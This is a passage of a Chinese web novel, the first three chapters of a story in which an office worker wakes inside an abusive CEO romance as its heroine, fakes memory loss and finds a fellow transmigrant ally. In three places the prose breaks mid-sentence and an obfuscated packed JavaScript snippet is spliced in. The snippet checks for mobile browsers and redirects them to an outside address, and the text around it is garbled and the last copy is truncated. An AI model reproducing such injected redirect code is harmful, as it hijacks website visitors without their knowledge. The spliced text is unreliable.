《虐文女主人设崩了》 1. Chapter1. 季蝉衣不知道这是自己叹的第几口气了。 自从确定自己穿书的这个事实之后,她就保持这种两眼呆滞、表情空洞、如同行尸走肉一般的状态坐了一上午,觉得自己仿佛已经预见了那翻来覆去的虐恋、那被挖心挖肝的痛苦以及那被挥之即来呼之即去的无比悲催的未来。 此刻季蝉衣两眼空空,别人参佛十几年都悟不了的机缘她在短短一上午就已经了然于心——她觉得自己很快就可以收拾收拾准备脱离世俗而羽化登仙了。 季蝉衣穿的这本书她是在上下班通勤的路上因为无聊偶然打开的,这是本虐女主的霸道总裁文,书的内容其实很俗套,讲的是男主小时候因为机缘巧合被女主救下,从此以后就一直对女主念念不忘,发誓非女主不娶。结果后来两人却被迫分开,一别数十年才又得以相见,但长大后的男主却没有再次认出女主,反而在女配的故意设计下将女配错认盛小时候救下自己的人。 于是为了履行自己少时立下的誓言,在离大结局倒数第十章左右的时候,男主终于准备娶女配回家,但其实那时的男主已经在和女主的拉扯中深深的爱上了女主,只是自己不愿意承认而已。 他刚一开始动心的时候,就觉得自己对女主的“爱”是变心的表现,是对小时候救她的人的不忠,他无法接受自己爱上了第二个人,也就在对女配的责任感和对女主的爱恋中苦苦挣扎,由此开启和女主长达数十年的虐恋无脑He霸道总裁文。 而她——季蝉衣——也就是本文的女主,不论是身世和恋爱脑都显得非常的大众、非常的千篇一律。她从小和男主有婚约,并且长大后一直对男主芳心暗许,一直默默的守护男主,即便是几次三番的被男主侮辱也痴心不改,堪称恋爱脑中的战斗机。但在女二的挑拨离间之下,在看似小白花实则心机深沉女三girl的几番操作下来,前期男主还一度觉得女主心机深沉,并且对她嗤之以鼻,心生怨恨。直到后面经过长时间的相处才意识到真正的女主是什么模样,也不由自主的再次爱上了女主。 在经历了无数的甜虐交织、你泼完狗血我登场的剧情之后,女主最终在快大结局的时候以自杀的方式结束了这场闹剧,男主知道真相之后后悔不已,虽然女主失去了一条命,但是男主失去了可是最诚挚的感情和最爱他的女主啊,从此以后男主只能拥有花不完的钱、坐在八百平方米的别墅里孤独的喝着酒,但是他却再也吃不到女主做的饭了。 小说花了八十几章虐女主,然后花了五章让男主后悔,最后小说潦草结尾,只留下一头雾水的季蝉衣愣在原地。 what?这也叫虐男主?在经历了一系列挖心挖肝、“XXX来了你要给她让位”、“打掉孩子不然我让你生不如死”、“你的存在就是为了给XXX治病”的古早能违反一整本刑法的剧情之后,女主惩罚男主的方式就是失去自己的生命,然后看男主痛苦。 季蝉衣觉得这个作者实在是太诡异了,她觉得作者写文简直纯纯就是来报复社会的。 这作者打着大女主爽文的旗号宣传自己的小说,但实际上对女主的爱还不如季蝉衣对大花的多……哦,大花是季蝉衣租的房子里的下水道中刚出生的那只小老鼠,每天晚上大花在下水道吱哇乱叫的时候,身心俱疲季蝉衣在床上翻个身它就没动静了,而且还知道不乱咬季蝉衣的鞋子和家具,做过最恶毒的事情就是趁着季蝉衣上班的时候翻翻她家的垃圾桶,体谅到让季蝉衣都舍不得用老鼠粘。 季蝉衣出离愤怒了,她也不知道自己是凭借什么能一直忍着那些离谱剧情看下去的——可能是因为她和书中女主恰好同名同姓,所以生出了一丝好奇心,想看看女主的下场究竟是什么吧;又或许是因为弹幕和评论一直在说“怎么能这么虐男主了,太心疼了吧”、“男主宝宝也是不知情的啊,不知者无罪,作者大大,可以收手了吧”之类的离谱发言让季蝉衣真以为这是个复仇的大爽文,所以在看见男主在女主门外站了一夜,那些读者们就心疼不已且草率的替女主原谅男主的时候,她是真的没忍住破防并且破口大骂了的。 她觉得自己被耍了,极端恼怒之下的辱骂人的爆发力也是呈几何级增长,季蝉衣以男女主家庭为半径,以两人的那仿佛光滑没有一丝褶皱的大脑为圆心,以作者恶毒离谱的剧情为工具,用词之狠毒,措辞之犀利,言语之恶劣,简直让人望尘莫及,汗流浃背。 “X的,这傻叉作者,这就是你写这本书的目的吗?欺负一个朝六晚十月工资三千房贷两万还单休的命苦牛马?现在你满意了吗?本来上班老板给我画大饼、男同事的油、女同事的茶、上司的黑锅就已经吃的想吐了,下了班还要往再我嘴里塞屎是吧?我真应该把你三舅姥爷粘碗底,问你要做易拉罐炒蛋还是煤球炒大米,让你以后做人别这么歇斯底里,始终牢记裤衩应该放心里。” 骂着骂着就恨不得自己魂穿进去给这对癫公癫婆一人一滑铲,直接送他们去见上帝。 季蝉衣觉得这男女主的行为和思想已经很接近耶稣了——他们的行为举止实在是太神了,简直不能称之为人,但可以称之为神人,看样子下一秒就可以直接脱离人类的范畴,以一种人类所无法了解的古他那黑暗之神的暗物质形态存在于小说世界中——她希望他们的下场也能和耶稣差不多。 这本书不应该叫《虐爱替身:恶魔总裁的专宠——小东西,别逃!》,而应该叫《类人群星闪耀时》或者是《脑残是怎样炼成的》。 季蝉衣气的吐血,直到回家了还觉得自己的大脑被这坨屎糊着。结果没想到晚上洗完澡往床上一躺,眼睛一闭,脑袋一扎,再睁眼就来到了这本书里,穿到了和她同名同姓的那个悲惨女主身上。 季蝉衣在花了一上午的时间接受了眼下发生的离奇事情之后,又花了半个小时为自己后半生的命运哀叹。 不过她没有消极的枯坐太久,因为季蝉衣的性格一直都是这么的处变不惊、坚韧不拔,她习惯于独自承受一切,在暴风雨中岿然而立——开玩笑的,其实是因为一直这么枯坐腰有些酸痛。季蝉衣调整了一下自己的坐姿,觉得这下舒服多了。 虽然腰确实累,但季蝉衣确实也不想体验文中女主的一生,所以她必须必须得主动做些什么来改变这糟心的剧情。要不然就这样的人生,她光是想想就觉得自己的精神病会一触即发,更别说最后还会因为那个男主自杀了。 她仔细检查过了,她身上并没有带着穿书文常见的那种“系统”。而且也没有类似让她攻略男主或者是攻略男配的任务,更没有什么乱七八糟的要求和完不成要求就会受到怎么怎么样的那些惩罚和规定。 也就是说,接下来不论她做什么说什么,都不会有什么东西来限制或者是纠正她。她现在已经彻彻底底的属于书中世界,并且代替了真正的季蝉衣,成为了书中或许是最为关键的一份子。所以现在季蝉衣是绝对自由的,她可以按照自己的心意做任何事情,并且不会受到任何惩罚。 换言之,现在的她和书中原本的女主已经彻彻底底的是两个完全不同的人了,现在的季蝉衣根本不爱男主,并且完全可以自由的决定自己怎么对男主、怎么霍霍这对癫公癫婆。 她是完全自由的。 Oh,mygod!还有比这更让人热泪盈眶的事情吗? 季蝉衣恨不得仰天大笑,这叫什么?这就叫山重水复疑无路,柳暗花明又一村!死作者,你奈我何! 老子今天就替天行道,让那对癫公癫婆知道什么叫真正的魔童降世。 但季蝉衣稍微开心了一会儿也就收住了——她不敢太得意忘形,毕竟才刚来的这个世界,对这里面的一切都还不熟悉,而且她也仅仅只是初步确定了自己的言行举止都不会被限制,但万一这只是暂时的呢?万一是想等她熟悉这个世界,然后忽然又被某个系统绑定,让她不能OOC,必须像那些无脑小说里的设定一样得做男主的舔狗呢? 在一切尘埃落定之前,她还是得夹着尾巴做人。更何况现在她仅仅只知道书中出场过角色的名字,根本没有见过他们真人,到时候他们出场了季蝉衣估计名字和人脸都对不上。 而且她和原主的性格不一定一模一样,季蝉衣不知道书中的“土著”会不会发现她身上的变化,如果发现了,她又该怎么自圆其说瞒天过海……总之虽然眼下暂时没发现什么限制,但季蝉衣需要头疼的事情还有很多。 她闭了闭眼睛,茫然的看着天花板叹了口气,心说接下来就是个大工程啊。 季蝉衣醒过来就躺在这个房间了,大致看过去,这房间很大,里面的家具装潢也都不落俗套,显然房子的主人就算不是大富大贵,也起码好过一般家境的家庭了。 季蝉衣不知道剧情进行到了哪一步,她回忆了一下书中女主角的身份,既然能和男主联姻,女主家的情况自然也不会差到哪里去。但是根据霸道总裁文中女主强男主更是王中王的惯例,男主的家境只会比女主更加显赫。 这个房间应该就是女主自己的家,就是不知道剧情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527467|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进行到哪一步了,不知道全文最大的女配——就是冒充女主假装是自己救下男主的邪恶小白花纪雪薇——现在有没有成功在男主陆靳面前成功冒领女主的功劳。 陆靳……想到这个名字,季蝉衣不仅轻轻勾了勾唇,笑容中带着三分凉薄三分讥笑四分漫不经心,她倨傲的仰起头,如刀削般的下颚,薄唇轻启,吐出两个字:“……装货。” 从这个经典的霸道总裁的名字就能看出来,陆靳这人必然是个很会装杯杯的人。 行,男人,你成功的引起了我的注意,看老娘接下来怎么折磨你。 就在季蝉衣充满雄心壮志准备一展雌风的时候,房门忽然被人从外面轻轻敲了敲,紧接着,一个女孩推门走了进来。 进来后,女孩对上季蝉衣的视线,嘴巴张成了“O”形,愣了好一会儿,才猛然反应过来似的难掩激动的边往外跑边大喊:“季先生李夫人,小姐……小姐醒啦!” 季蝉衣:“……?” 怎么个事,她之前是一直没醒吗? 书中有这么一段吗? 季蝉衣也记不清了,她不太喜欢因为虐而虐女主的情节,所以前八十几章其实没怎么仔细看,很多细节都没注意。 不过她没奇怪多久,刚刚出去的那个女孩很快就呼啦啦的带着四五个人从走了进来。 为首的是一对中年夫妇,脸上都有了细微的皱纹,身后站着一个年轻英俊的男人,正静静的盯着季蝉衣看,男人身边有几个医生打扮的人,都戴着口罩。 虽然大家的年纪各不相同,但是脸上的关切和激动都是一样的。见到季蝉衣眨巴着眼睛看着他们,那个女人眼圈一下子就红了,上前抱住季蝉衣就不肯再撒手:“哎呦呦,我的宝贝女儿你可算是醒了,爸爸妈妈这几天担心的吃不好睡不好,还好有小安帮忙,要不然爸妈真不知道该怎么办才好了……” 原来这就是原主的妈妈李茵陈,那李茵陈旁边的肯定就是原主的爸爸季知远了。 季蝉衣的视线环顾四周,除了刚刚跑出去叫人的那个小姑娘和原主的父母之外,就是三个医生打扮的人和站在原主父母身后的那个模样俊俏到像是大明星的男人。那个叫人的小姑娘看打扮和模样以及刚刚对她的称呼就能推测出来她应该是原主家里的保姆之类的角色。 “还好有小安帮忙”……排除小姑娘和医生之后,看来那个男人应该就是“小安”了。 果不其然,就见季知远拍了拍那男人的肩,也忍不住感慨道:“予安,这两天多谢你了,一直跟着奔波。今晚就留下休息一下吧,正好蝉衣也醒了,咱们大家一起吃个饭,也给伯父一个感谢你的机会,好不好?” 予安? 这个名字……难道是周予安? 季蝉衣的脑袋飞速旋转,书中确实提到过这个人,不过戏份应该不重,他和女主应该有感情戏,据季蝉衣那模糊的记忆来看,原文中他似乎一直暗恋女主,默默守护着女主,但是和女主的交集并不多。 他出场的次数一只手都能数的出来,分量不重,最后也不知道结局是什么。 应该是个不重要的角色吧?季蝉衣这么想着,又忍不住抬头看了一眼周予安。 嗯……虽然不重要,但是这模样确实无可挑剔,周予安有一双很漂亮的眼睛,五官立体,嘴唇红润,鼻尖的位置有一颗小小的痣。他的皮肤好的几乎没有一丝瑕疵,那双眼睛使他看起来很温和,整张脸像是造物主的炫技之作,好看的堪称是建模标准。 季蝉衣还怪可惜的,长了这么个模样,就是当男主都无可厚非,可是在书中却连个稍微重要一点的配角都不是,季蝉衣都替他叹惋。 这时候,听见季知远话的李茵陈也回过头,朝周予安露出一个笑,跟着劝道:“是啊小安,今天就留下来吧,正好晚上小靳和小薇也要来,阿姨听说你们认识,正好来一起热闹热闹。” 正魂飞天外的季蝉衣猛然听见这四个字,登时就从回忆剧情的沉思中清醒过来——等等!什么……小靳和小薇??! 陆靳和纪雪薇? 这不就是原文中的男主和那个冒充女主身份的女配吗? 他们既然准备一起过来,那是不是就说明现在纪雪薇已经成功在陆靳面前假冒了她的身份? 桀桀桀桀桀桀桀桀桀……季蝉衣眯了眯眼睛,几乎快要掩饰不住内心的激动。她在无人看见的角落里偷摸露出一个标准的反派笑容,同时很反派的心想——好好好,准备进行道德审判。 2. Chapter2. 周予安推辞不过,最后还是答应下来。李茵陈这才又心疼的上下摸了摸季蝉衣,担心的问:“怎么样啊熠熠?头疼不疼,恶不恶心,想不想吐,有没有哪里不舒服啊?咱家的医生都在这儿呢,有什么不舒服的就说,啊。” 熠熠是女主的小名。季蝉衣原本想说没事的,但是眼睛一转,想到了什么,说出口的话就成了:“妈,我觉得头有点晕。”说着还配合自己的话揉了揉太阳穴,装出一副依然有些头晕的有气无力模样。 李茵陈一听立刻紧张的不行,转头就要让医生过来给季蝉衣检查,季知远也紧张的跟着围了过来。 季蝉衣趁机说:“……可能是刚醒的原因,我还没有完全恢复过来。而且、而且不知道是不是因为头晕头疼,我感觉脑子很懵,一回忆就感觉像是隔着一层雾一样。有好几段记忆都有点模糊,很多小事情也都想不起来了。妈,我不会撞的太狠导致脑子退化了吧,我万一失忆了怎么办?” 虽然不知道之前她经历了什么,但是根据那个女孩的反应以及李茵陈和季知远的模样,就知道她应该是受过不轻的伤,而且还昏迷了一段时间。 正好她看书的时候很多地方都看的模模糊糊的,很多小细节都记不清了,现在她借着这个机会正好可以提前给季知远和李茵陈打个预防针,先把她的某些不对劲行为怪在受伤这件事上,这样以后就可以顺理成章的为自己可能会出现的OOC行为铺垫。 李茵陈心疼的抱住女儿,语气哀戚,安抚道:“唉,没事啊没事,乖宝,咱们不会失忆的。之前予安专门找医生给你检查过了,你撞到了脑袋,医生说有点脑震荡,醒来之后头晕头痛甚至是记忆有损都是正常,原本妈还担心你完全失忆,现在看你至少还记得爸爸妈妈,妈也就没什么遗憾了。没事,那医生说了,只要好好养着,咱们总会慢慢好起来的,之前那些不重要的小事忘了就忘了吧,反正也不重要,只要你还记得你爸妈、记得咱家的银行卡的密码就行。啊,听话。正好把之前不重要的全忘了,这样才好空出脑子记新的事情。要是还有什么不舒服的就赶紧和妈说,知道了吗?” 季蝉衣听了眼睛一下子就亮了——妈耶,还有这种好事? 现在这情况对她也太有利了吧?正好她穿过来,正好这女主就撞到脑袋,正好医生就给出了可能会失忆的诊断?这怕不是老天都在帮她惩治那对癫公癫婆?还是说这是每个穿越的人必备的剧情——原主被受了伤,看似没什么,但其实已经偷摸因为这个伤没命了,所以才让她这个野生魂魄占据了身体? 季蝉衣没有太得意忘形,连忙调整自己的表情,笑道:“除了很多事情有些记不起来之外就没什么不舒服的了。妈,等我以后觉得哪里不舒服了再和你说。” “那就好。医生说刚醒来不能过度用脑,你感觉再躺下休息休息,晚上吃饭的时候妈妈再过来叫你。” “好。” 李茵陈给季蝉衣掖了掖被角,又忍不住嘱咐了季蝉衣几句,然后才依依不舍的准备和季知远一起离开。两个人都已经走到门口了,周予安却依然站在原地一动没动。 等李茵陈叫他的时候,他才回过神,微微笑道:“伯父伯母,你们先走吧,医生还说了点注意事项,正好我趁蝉衣醒着的时候和她说一下。” 李茵陈连忙说:“好,那你们聊,我和你伯父先下去准备晚饭。” “好。伯父伯母再见。” “一会儿见。” 等季知远和李茵陈那些人全部离开之后,季蝉衣才收起脸上的笑,抬头看向周予安。 即便是刚刚已经震惊过周予安的模样,但现在再仔细看他,依然让季蝉衣觉得这张脸简直堪称是天仙下凡、无可挑剔。 原文毕竟只能通过文字描述,看见文字的人也只能通过想象还原角色容貌,想象总是和现实有差距的,更何况作为一个不知道几线的男配角,书中对他的外貌只是一笔带过,根本没给季蝉衣任何想象的空间。 所以现在在现实中真正看见周予安的模样之后,季蝉衣忍不住把口水咽了再咽,心里浮上来的唯一一个念头就是,连一个不知名的男配角都如此惊为天人了,那男主角得多帅? 周予安一直安静的低头盯着她看,那双眼睛太黑也太沉静了,就这么静静的看着她。不知道为什么,季蝉衣他的那个眼神太沉重了,好像隔着万水千山,隔着一层弥漫在海边久久不散的大雾。她觉得自己似乎有些看不懂他的情绪,她想了想,轻巧的把这眼神归功于是他对原主的暗恋。 她笑眯眯的先开了口:“你好,咳,听我爸妈说是你的救下了我,还没来得及和你说声谢谢……” 周予安垂下眼皮又掀起,声音很轻,听不出什么情绪,脸上带着笑:“没关系,举手之劳而已,季小姐不用放在心上。”顿了顿,他话锋一转,“对了,一会儿陆靳和纪雪薇会来,你还记得他们吗?” 季蝉衣原本下意识地想回答“记得”,但是眼珠一转,转念一想,忽然意识到这是个很完美的套话机会,于是从善如流的改了口:“有点印象,但是很多事情都记不清了,你能和我讲讲他们吗,说不定听一些他们的事,我能更好更快的恢复记忆。” 周予安说:“纪雪薇的妈妈纪虹是陆家的保姆,纪雪薇之前也在陆靳身边工作,原本两个人没有什么交集,但最近我听说纪雪薇之前好像在机缘巧合之下救过陆靳,所以现在两个人关系很好,你和陆靳之前有婚约,可能……” 看来果然和她猜的差不多,纪雪薇现在已经成功冒充了她的身份了。 季蝉衣大脑里飞速闪过几个念头,在想自己接下来该怎么办,边思索边慢吞吞的说:“原来是这样啊,你说的这些我都记不住了,那现在陆伯父知道他们两个知道纪雪薇和……” 说到这里,季蝉衣却猛地顿住了——等等,不对! 这件事不对劲,周予安的话有问题! 纪雪薇冒充她的事情在小说里是在后期快要大结局的时候才被发现的,在这之前,除了纪雪薇自己之外,没有一个人知道她冒充陆靳救命恩人的事,更没人知道有人在陆靳小时候救过他一命。 毕竟如果纪雪薇真嚷嚷的人尽皆知,说她是因为救了陆靳才得到了陆靳的青睐的话,那么女主也就不会一直被蒙在鼓里,更不会天真的以为是陆靳和纪雪薇在一起是因为喜欢纪雪薇,而不是因为纪雪薇救过陆靳,从而彻底心灰意冷,和男主互相折磨又受尽伤害,引出后面一长串的恨海情天剧情。如果真是这样的话,那么整本书虐女主的情节能直接腰斩。 而纪雪薇为了不让大家知道这件事的真相,想必也会绞尽脑汁用各种借口骗住陆靳,不让他和其他人透露。 也就是说,按照现在的剧情发展,除了纪雪薇和陆靳之外——当然,顺便也除了她这个外来者之外——没有第三个人知道纪雪薇曾经救过陆靳。 所以周予安是怎么知道的? 原文中绝对没有提起过这一段,甚至就连季蝉衣脑袋受伤的这段经历也没有出现过。而且最重要的是,周予安和原主的相遇不是在这里,而是在文中靠中间的部分,难不成书中的剧情因为她的到来发生了什么改变?可这也太快了吧,她还什么都没做呢,就算是会因为她和原主不同的做法致使剧情改变,那也应该在她真的实施自己的想法之后才说得通啊……把种种不对劲的事情结合在一起,一个令人匪夷所思但却是眼下最合理、最能解释这一切的想法逐渐浮现在季蝉衣的脑海。 她表情茫然的看向表情平静的周予安,嘴唇动了动,机械的吐出一句话:“奇变偶不变……?” 小说世界和现实世界毕竟是有所差距的,毕竟这只是通过有限的文字组成的世界,所以有很多东西——很多细节的东西,现实世界有,但书中世界不一定有。像这种细微到几乎普遍不会被作者写进书中的对话、这种现代人很有默契但书中世界或许并没有普及的对话,假如对方不是和她一样是从现实世界穿进来的人,估计只会觉得茫然,不明白季蝉衣在说什么。 所以季蝉衣想通过这种简单又便捷的方式试探一下,要是能试探出来最好,试探不出来也没什么损失……如果周予安回答不出来,就说明他依然是书中原本的那个npc角色,知道这些情况估计只是偶然,但如果他能回答的上来,如果他能回答上来…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527468|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 周予安定定的看着她,隔了两秒,终于也缓缓开了口:“……符号看象限。” 哇哦……队友匹配成功! · 半个小时后,两个人围着一桌子刚让人送上来的小吃和零食热烈的开始互相分享自己现在有的情报。 热气腾腾的烤鱼冒出来的氤氲热气模糊了季蝉衣的眉眼,她热切的举杯道:“没想到还有意外之喜,在这种地方还能碰见同乡。老乡见老乡,两眼泪汪汪。来,为我们的相遇干一杯!” “抿一口就可以了,你脑袋还有伤呢。” “放心啦,这酒没什么度数,我就浅浅喝一口就放下。说到哪了?哦,对,所以我……咳,原主脑袋受伤以及失忆这些都是你策划的了?你怎么知道我是穿越进来的?” 周予安移开视线:“哦,你……原主脑袋受伤不是我策划的,那天我们给陆靳庆祝生日,在陆靳的游艇里举行party。你不小心撞了一下,然后就晕过去了。正好那天只有我带了一个医生朋友,所以就临时给你诊断了一下。本来我没觉得有什么奇怪的,但是后来我听见你在梦中老是提起穿书、女主之类的话,别人或许不觉得有什么,但却让我这个也是刚穿进来没多久的人警铃大作。所以后来我借口给你治病,一直守到你醒过来,确保咱们的身份不会被第三个人知道。” “那你刚刚怎么不直接和我说?” “我也怕我自己的猜测有误嘛,万一那些话只是你做梦梦到了类似的事情所以随口说的呢?所以为了不打草惊蛇,我才没敢直接开口问你。” “哦——所以你就想试探我一下?” “嗯。” “对了,你是什么时候穿来的?” 周予安停顿了两秒,很快回答:“在party的前一天。” 季蝉衣想了想,回答道:“好吧,看来也没比我早多少。” “是啊,因为不确定你究竟是不是和我一样是穿进来的,所以为了保险起见,我索性借着这次你受伤的事件告诉大家这次的事故很有可能会损害你的记忆。这样如果你真是穿越进来的话,那么能解决你很大一部分困境,如果你还是原来的你,那也没什么影响,毕竟失忆这种事情,谁也说不准,到时候就直接说你比较幸运,恢复的很好就行了,也不会有人在意。” “嘿,这么说你还真是挺机智的,有你这么一个队友在身边,我感觉后半辈子可以直接躺平了。话说你觉得咱们还能回到现实世界吗?毕竟小说里都这么写,一般穿越过来的穿越女只有两个归宿,一个是爱上书中男主,永远的留在书里,二是和书中的男主一起穿越回现代世界……你觉得咱们会是哪种情况?” 这次周予安却没有立刻回答,他只是静静的看着季蝉衣,季蝉衣正埋头苦吃,没注意到周予安那不同寻常的神情。 在季蝉衣抬起头之前,周予安低下头,氤氲的雾气挡住了他的表情:“这个嘛,还真不好说。不过先别想这么多了,走一步算一步,我相信肯定是天无绝人之路的。现在咱们首先要在意的就是晚上和男女主吃饭的事情。” “唔,你说得对。你刚刚说纪雪薇已经冒充了原主的身份,和陆靳在一起了?” “在一起倒不至于,现在他俩也就刚搭上线。不过纪雪薇在陆靳心里的分量究竟如何我也有点琢磨不出来了,估计你现在去问陆靳你和纪雪薇同时掉水里他救谁,他都得犹豫半天。” “那确实是很伤人的一句话了,如同我在发表获奖感言时原本想热心的问候大家你妈的身体怎么样,结果刚说了一句‘你妈的’就被人意外打断了一样让人受伤……我去,可以啊,还是个单押。” “好棒的单押……别担心,起码你在我心里的地位远超他俩。” “谢了,果然是兄弟如手足男人如衣服,你放心,你在我心里的地位肯定比这里面所有人加起来的地位都高。行了行了,我说你也别吃太饱了,要不一会儿该吃不下了。趁现在有空,而且正好你又比我早一点来到这个世界,咱们先互相对对各自的线索,然后你再和我说说我昏迷的这几天里你都打听到了什么消息吧。” “……好。” 3. Chapter3. 发现原来在这个举目无亲的世界还有一个和自己来自于同一个地方的盟友之后,季蝉衣心里一下就感觉自己在这个陌生的地方仿佛有了一个和现实世界相连接的锚点。 周予安就是这个锚点,他让她知道自己不是一个人。 两个人交换了一下各自的情报,跟上了现在的时间线。 现在处在一个有些尴尬的时间点。 女主和男主有婚约,这是两家长辈在很多年之前两人刚出生的时候就定下的,婚约的时间甚至早过女主救男主的时间。一开始男主对这份婚约没什么感觉,毕竟那个时候他还没有被女主救下,而且这份婚约也只是当时两家的老人口头约定,男主并没有真当一回事。 但等他在十一岁那年被十岁的女主救下、对年少的女主产生感情之后,在不知道真相的情况下,随着他渐渐长大,这份婚约就成了束缚他的枷锁。 婚约的存在导致了长大后的男主一开始对女主的印象并不好,毕竟那个时候他一直对小时候的女主念念不忘,觉得自己根本无法接受另外一个人进入自己的生活。 女大十八变,长大后的女主几乎没什么小时候的影子了。女主留学回来之后,陆靳第一次见她时,完全没有认出她就是之前救过自己的人。 随着两个人的相处,这种包含微妙敌对的情况才稍稍有了好转。 女主毕竟是女主,再被虐也还是会吸引男主,不然这本小说就不会存在了。所以男主逐渐从一开始的抵触变得有所松动,最后终于朦胧出现了一丝好感。但就在这个女主已经彻底爱上男主、而男主也正是要和女主培养感情的最佳时机,女主的噩梦出现了——顾家保姆纪虹家里着火了,所有的积蓄全部被火海吞噬,她的女儿纪雪薇不得不暂时跟着母亲住进顾家的保姆房里。在她住着的这段时间里,她在男主生日这天成功假冒了小时候女主救下男主的功劳,使得男主和女主之间逐渐出现误会和裂痕,从朦胧的试探和青涩的甜蜜转变成了爱恨交织的剧情。 而现在正处于女主对男主割舍不下,但男主却在少时的承诺和现在无法控制的心动中来回拉扯的剧情中。 按照原文的描述以及周予安的调查,纪雪薇是在陆靳生日的那天开始骗陆靳的,也是在同一天,女主在船上不小心撞到晕了过去。今晚应该会是纪雪薇假冒女主的身份之后,男女主的第一次相见。 嗯,估计到时候场面不会太让人舒服。 周予安和她一样,也是在看完这本书穿进来的。 他只比季蝉衣早到这里一周,所以其实知道的东西也没比季蝉衣多多少,只不过他比季蝉衣强的一点就是已经能勉强把书中每个角色的名字和他们的脸对上。 周予安打开微信,对照着微信朋友圈把每个人的照片和他们的名字一一对照着和季蝉衣说了一遍。鉴于还有一部分角色和周予安交集不深,周予安没有他们的微信,而且还有一部分有微信的人里照片P的实在是太过了,就算是对上名字了估计在现实里见到了也不一定能认出来,所以周予安最后非常佛系的总结:“今天就先认这些人,其他人的以后遇见了我再和你说——反正实在不行你还有个百试百灵的杀手锏。” “——我的记忆受损了?” “聪明。反正男女主你能认出来就已经足够了。” “也是。不过我看这种无聊的言情小说打发时间很正常,你一个男生,不应该看那种男频爽文才对嘛,为什么也会打开这本书看?” 周予安的眼神闪了闪,很快笑道:“哦,也不是我想打开的,我妹让我帮她助力,点进去链接就是这本小说的广告,因为广告有浏览时长要求,所以我闲着无聊就看了两眼,谁知道就这么跳着囫囵吞枣看完了一本。” 季蝉衣深有感触似的点点头:“哎哟,看来这种随处可见的小弹窗广告可真是害人不浅。” 周予安跟着笑:“是啊。” “不过我当初看的时候也特别草率,甚至中间大部分都跳过去了,就为了看看结局到底怎么样。唉,书到用时方恨少啊,早知道会穿进来……” 早知道会穿进来,她当初就该多看几本书,每本都记住,做多手准备。但是季蝉衣想到原文那无比鬼畜的内容,又忍不住浑身抖了三抖,双目空空的喃喃自语:“……算了,还是不早知道了。” 要是当时真多看了几本,那她这辈子也差不多算是毁了,估计都撑不到穿进来就得被活活气死。 这也不怪她,八字弱的看完那本书就倒了,她能撑到结尾已经算是苍天保佑。 两个人简单收拾了一下吃完的打包盒,又随意的聊了会天,很快夜色就悄然降临。 季蝉衣抬起手腕看了一眼时间,伸了个懒腰说:“好了,时间也差不多了,下去吧?” “好。” 李茵陈平常没事的时候就喜欢琢磨做各式各样的饭菜,现在正饶有兴致的在厨房和厨师一起准备晚饭。季知远正坐在客厅里看报纸,见季蝉衣和周予安下来,朝两人笑了笑:“饭做好了,正要叫你们呢,正好你们就下来了。” 话音未落,李茵陈就端着一大盘色香味俱全的椰子鸡从厨房出来了。 季蝉衣连忙帮着一起端菜,周予安和季知远也一起去了厨房。 饭菜刚全部端上桌,门铃声就响了起来。 李茵陈笑道:“大概是小靳和小薇他们来了,你们坐着别动,我去开门。” 打开门,门外站着的果然是陆靳和纪雪薇。 不过除了他们两个人之外,他们身后还站着另外一个人。 李茵陈惊讶道:“小既?你怎么来了也不提前说一声?还好阿姨今天准备的菜多,要不然就该让你饿肚子了。” 听见动静,餐厅内的三个人齐齐回头,季蝉衣和周予安站着的那个角度正好能看见外面那三个人模糊的身影。 陆靳和纪雪薇身后的人被挡住了,季蝉衣看不清他的脸,索性回头和周予安咬耳朵:“那人是谁,你能看见吗?” “看不太清,不过能从阿姨的称呼中推测出来。应该是你……是原主的发小之一,陈既。” 这次陆靳和陈既过来不是为了蹭这顿晚饭的,他们原本是为了来看一看季蝉衣——毕竟一个是季蝉衣的多年好友,一个又在名义上和季蝉衣有婚约,现在季蝉衣受了伤,他们怎么也得来看看。 只不过巧的就是季蝉衣恰好在这醒了,于是看望昏迷病人的活动就顺理成章的变成了看望苏醒病人的活动。 周予安没说太多,但季蝉衣了悟了:“肯定也喜欢女配。” 周予安斜睨她一眼:“这你也知道?他确实喜欢另外一个女配。” “原文中写了嘛,而且按照这种虐文常见的套路,女主身边的人——尤其是这种发小和青梅竹马之类的,最后肯定都喜欢女配,然后为虐女主的情节狠狠助力。” 周予安没说话,隔了一会儿,季蝉衣才又听见他的声音在自己耳边幽幽响起:“我不会喜欢女配的。” 季蝉衣“嗯”了一声,点了点头,随口说:“我知道,我刚刚提到的这些人里又不包括你——你从始至终都只喜欢我嘛,算是原文中的一股清流了。” 周予安便不再说话了。 那边的李茵陈已经和门外的三人寒暄完了,正热情的邀请他们进来吃饭。 季蝉衣连忙端上和蔼可掬的笑容,打起精神准备应对和传闻中邪恶女配的第一次交锋。 纪雪薇和书中描写的差不多,喜欢穿浅颜色的衣服——尤其偏爱白色裙子,头上戴着简单的发饰,看人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 